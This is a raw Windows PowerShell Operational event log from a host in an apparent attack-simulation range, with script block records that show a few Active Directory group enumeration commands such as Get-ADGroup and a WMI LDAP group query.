ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024041
Keywords=None
Message=Started invocation of ScriptBlock ID: 96184fd7-0cef-4bd8-acb0-f8841d657ad4
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024040
Keywords=None
Message=Started invocation of ScriptBlock ID: b4fcd745-6d1a-4413-bbb5-bd7a51942442
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024039
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-ADGroup -Filter *

ScriptBlock ID: b4fcd745-6d1a-4413-bbb5-bd7a51942442
Path:
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024063
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024061
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024059
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024058
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024057
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024055
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024054
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024053
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024051
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024050
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024049
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024048
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 859c6cbc-04aa-4686-af74-3988a8410a03
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2dd7ec23-c030-4b5a-b379-46d6d7dc12a1
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024045
Keywords=None
Message=Started invocation of ScriptBlock ID: 2dd7ec23-c030-4b5a-b379-46d6d7dc12a1
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024044
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: 2dd7ec23-c030-4b5a-b379-46d6d7dc12a1
Path:
09/09/2021 10:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024043
Keywords=None
Message=Completed invocation of ScriptBlock ID: b4fcd745-6d1a-4413-bbb5-bd7a51942442
Runspace ID: f6230383-74b0-475d-904d-6ae516f63f82
09/09/2021 10:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024074
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024072
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024070
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024068
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024066
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024091
Keywords=None
Message=Started invocation of ScriptBlock ID: cd31a6a1-5d24-43f8-b83a-b0a1e2643905
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024090
Keywords=None
Message=Creating Scriptblock text (1 of 1):
get-wmiobject -class ds_group -namespace root\directory\ldap

ScriptBlock ID: cd31a6a1-5d24-43f8-b83a-b0a1e2643905
Path:
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024088
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024086
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024085
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024084
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024082
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024080
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024078
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024076
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024100
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024099
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
